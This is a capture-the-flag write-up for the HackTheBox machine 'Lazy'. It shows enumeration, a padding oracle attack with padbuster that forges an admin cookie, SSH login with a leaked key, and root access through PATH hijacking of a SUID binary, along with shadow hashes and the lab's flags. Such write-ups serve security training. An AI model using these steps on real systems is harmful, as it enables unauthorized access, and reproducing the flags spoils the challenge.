Post

HackTheBox Lazy

Writeup for HackTheBox Lazy

Posted Updated
By Edwin Tok
6 min read
HackTheBox Lazy

Machine Synopsis

Lazy mainly focuses on the use of padding oracle attacks, however there are several unintended workarounds that are relatively easier, and many users miss the intended attack vector. Lazy also touches on basic exploitation of SUID binaries and using environment variables to aid in privilege escalation. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12

$ nmap -sC -sV -A 10.10.10.18

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
|   2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
|   256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)
|_  256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: CompanyDev
|_http-server-header: Apache/2.4.7 (Ubuntu)

Here is the webpage.

website

Here is the login page.

login_page

Using sqlmap showed that all the tested parameters do not appear to be injectable.

1
2
3
4
5
6
7
8
9

$ cat login_request.txt                
POST /login.php HTTP/1.1
Host: 10.10.10.18
Content-Length: 32
Cache-Control: max-age=0
...
Connection: close

username=admin&password=password

1
2
3
4

$ sqlmap -r login_request.txt --batch
...
[10:30:19] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
...

Here is the registration page.

registration_page

Let’s run a gobuster scan to check if we missed anything out.

1
2
3
4
5
6
7
8
9
10
11
12

$ gobuster dir -u http://10.10.10.18 -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
...
/images               (Status: 301) [Size: 310] [--> http://10.10.10.18/images/]
/index.php            (Status: 200) [Size: 1117]                                
/login.php            (Status: 200) [Size: 1548]                                
/register.php         (Status: 200) [Size: 1592]                                
/header.php           (Status: 200) [Size: 734]                                 
/footer.php           (Status: 200) [Size: 51]                                  
/css                  (Status: 301) [Size: 307] [--> http://10.10.10.18/css/]   
/logout.php           (Status: 302) [Size: 734] [--> /index.php]                
/classes              (Status: 301) [Size: 311] [--> http://10.10.10.18/classes/]
/server-status        (Status: 403) [Size: 291]

Seems like there’s nothing much interesting. Let’s register for an account instead. Apparently, after you register for an account and login, there will be an auth cookie.

auth_cookie

Now, what would happen if I changed the auth cookie?

auth_cookie_incorrect

It says incorrect padding! A quick Google search on cookie padding attack returns us Padding Oracle Attack.

When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an invalid padding triggers a detectable behaviour, you have a padding oracle vulnerability.

- Hacktricks

Exploitation

To exploit this vulnerability, we can use padbuster.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# Usage: padbuster URL EncryptedSample BlockSize [options] 
$ padbuster http://10.10.10.18/index.php IxYyntb34ugmMvdXexQbh28%2FZR4JGpPs 8 -cookies auth=IxYyntb34ugmMvdXexQbh28%2FZR4JGpPs -encoding 0

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

...

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): user=shiro

[+] Decrypted value (HEX): 757365723D736869726F060606060606

[+] Decrypted value (Base64): dXNlcj1zaGlybwYGBgYGBg==

-------------------------------------------------------

Now, we can provide padbuster with a plaintext and it will return us with a valid cookie!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

$ padbuster http://10.10.10.18/index.php IxYyntb34ugmMvdXexQbh28%2FZR4JGpPs 8 -cookies auth=IxYyntb34ugmMvdXexQbh28%2FZR4JGpPs -encoding 0 -plaintext user=admin

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

...

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------

Let’s update the session cookie to BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA and then refresh the webpage.

update_cookie

admin_login

Clicking on My Key shows us a RSA private key with the name mitsos hinted on the filename.

rsa_key

With this key, we should be able to SSH into the machine as mitsos.

1
2
3
4
5
6
7
8
9
10
11

$ wget -O id_rsa http://10.10.10.18/mysshkeywithnamemitsos
$ chmod 600 id_rsa 

$ ssh -i id_rsa mitsos@10.10.10.18
The authenticity of host '10.10.10.18 (10.10.10.18)' can't be established.
ED25519 key fingerprint is SHA256:CA0BPc42eJXqPJR5d4JYc3o+PPHnj7L2JY/wf5q7ve8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.18' (ED25519) to the list of known hosts.
sign_and_send_pubkey: no mutual signature supported
mitsos@10.10.10.18: Permission denied (publickey).

According to this article, we have to add a flag of -o PubkeyAcceptedKeyTypes=+ssh-rsa when using SSH to bypass this message.

1
2
3

$ ssh -i id_rsa mitsos@10.10.10.18 -o PubkeyAcceptedKeyTypes=+ssh-rsa
...
mitsos@LazyClown:~$

Privilege Escalation

Looking around the files, there’s an interesting root SUID binary file backup.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

mitsos@LazyClown:~$ ls -la
total 64
drwxr-xr-x 5 mitsos mitsos 4096 Dec  7 17:43 .
drwxr-xr-x 3 root   root   4096 Dec  7 16:27 ..
-rwsrwsr-x 1 root   root   7303 May  3  2017 backup
-rw------- 1 mitsos mitsos  224 May  3  2017 .bash_history
-rw-r--r-- 1 root   root      1 May  3  2017 .bash.history
-rw-r--r-- 1 mitsos mitsos  220 May  2  2017 .bash_logout
-rw-r--r-- 1 mitsos mitsos 3637 May  2  2017 .bashrc
drwx------ 2 mitsos mitsos 4096 Dec  7 16:27 .cache
-rw-rw-r-- 1 mitsos mitsos    0 Dec  7 17:43 cat
-rw------- 1 mitsos mitsos 2524 May  2  2017 .gdb_history
-rw-rw-r-- 1 mitsos mitsos   22 May  2  2017 .gdbinit
-rw------- 1 root   root     46 May  2  2017 .nano_history
drwxrwxr-x 4 mitsos mitsos 4096 Dec  7 16:27 peda
-rw-r--r-- 1 mitsos mitsos  675 May  2  2017 .profile
drwxrwxr-x 2 mitsos mitsos 4096 Dec  7 16:27 .ssh
-r--r--r-- 1 mitsos mitsos   33 Apr 25 06:23 user.txt

mitsos@LazyClown:~$ ./backup 
root:$6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0:17288:0:99999:7:::
daemon:*:17016:0:99999:7:::
bin:*:17016:0:99999:7:::
sys:*:17016:0:99999:7:::
sync:*:17016:0:99999:7:::
games:*:17016:0:99999:7:::
man:*:17016:0:99999:7:::
lp:*:17016:0:99999:7:::
mail:*:17016:0:99999:7:::
news:*:17016:0:99999:7:::
uucp:*:17016:0:99999:7:::
proxy:*:17016:0:99999:7:::
www-data:*:17016:0:99999:7:::
backup:*:17016:0:99999:7:::
list:*:17016:0:99999:7:::
irc:*:17016:0:99999:7:::
gnats:*:17016:0:99999:7:::
nobody:*:17016:0:99999:7:::
libuuid:!:17016:0:99999:7:::
syslog:*:17016:0:99999:7:::
messagebus:*:17288:0:99999:7:::
landscape:*:17288:0:99999:7:::
mitsos:$6$LMSqqYD8$pqz8f/.wmOw3XwiLdqDuntwSrWy4P1hMYwc2MfZ70yA67pkjTaJgzbYaSgPlfnyCLLDDTDSoHJB99q2ky7lEB1:17288:0:99999:7:::
mysql:!:17288:0:99999:7:::
sshd:*:17288:0:99999:7:::

Hmm? It looks like it’s trying to print /etc/shadow. Let’s run strings on the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

mitsos@LazyClown:~$ strings backup 
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
cat /etc/shadow
;*2$"
GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
...

It’s trying to do cat /etc/shadow. Let’s check where is the cat command located at.

1
2

mitsos@LazyClown:~$ which cat
/bin/cat

The vulnerability here is that the cat command is called without it’s full path. Therefore, we can trick the system into calling our own version of cat! Firstly, let’s add /tmp to the $PATH environment so that it will be the first directory to be checked.

1
2
3
4
5
6
7

mitsos@LazyClown:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

mitsos@LazyClown:~$ export PATH=/tmp:$PATH

mitsos@LazyClown:~$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Now, we can create a malicious cat file to spawn a new shell!

1
2
3
4
5
6
7

mitsos@LazyClown:~$ cd /tmp
mitsos@LazyClown:/tmp$ vi cat
mitsos@LazyClown:/tmp$ chmod +x cat
mitsos@LazyClown:/tmp$ cat cat 
#!/bin/sh

/bin/sh

Finally, we can execute the backup binary file to gain root access!

1
2
3
4
5
6
7
8
9
10

mitsos@LazyClown:/tmp$ cd /home/mitsos/
mitsos@LazyClown:~$ ./backup 
# whoami
root
# cat /home/mitsos/user.txt
# PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
# cat /home/mitsos/user.txt
ffedead33b2299f99ac8cbc2dd4eaf3c
# cat /root/root.txt
489332b5fb06c89a9618f082b1b107a2
HackTheBox
linux
This post is licensed under CC BY 4.0 by the author.